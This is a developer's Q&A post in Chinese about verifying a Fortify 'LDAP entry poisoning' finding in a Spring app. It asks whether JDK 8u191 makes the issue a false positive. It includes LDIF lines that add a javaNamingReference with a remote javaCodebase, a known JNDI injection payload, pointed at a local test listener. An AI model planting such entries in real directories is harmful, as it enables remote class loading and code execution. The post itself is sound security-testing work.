Fortify 报告了我的一个 Spring 应用程序中的一个 LDAP 条目中毒漏洞。您可以从以下链接获取有关此漏洞的更多信息:
https://www.youtube.com/watch?v=Y8a5nB-vy78&feature=youtu.be&t=2111
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
我决定尝试自己证明这是否仍然是一个漏洞。我通过使用 Spring Tool Suite 做到了这一点:
文件 -> 新建 -> 导入 spring 入门内容
搜索 ldap 并导入 Authenticating Ldap -> complete code set
https://spring.io/guides/gs/authenticating-ldap/
然后,我在包含的 test-server.ldif 文件中添加了以下行到 bob 的条目以及开发人员的条目:
javaFactory: PayloadObject
objectClass: javaNamingReference
javaCodebase: http://127.0.0.1:9999/
javaClassName: PayloadObject
为了运行它,我需要将以下行添加到 application.properties:
spring.ldap.embedded.validation.enabled=false
我启动了 Wireshark 并运行了 Spring 示例应用程序,果然,当我使用 bob 登录时,我在 Wireshark 的 9999 端口上获得了成功。
当我让一位同事测试同样的东西时,他无法重现。经过一番研究,我们发现他的 jdk 比我更新,并且在我更新我的 jdk 后,我也无法重现该问题。
我们将其缩小到 jdk-8u191 是引入“修复”的版本,但我在 java 发行说明中找不到任何解释为什么或如何修复它的内容。
我的问题是 - 如果我们正在运行 jdk-8u191 或更新版本,现在 LDAP 条目中毒是否为假/阳性?或者是否有一些配置选项可以设置为覆盖这个“修复”?
慕田峪4524236
相关分类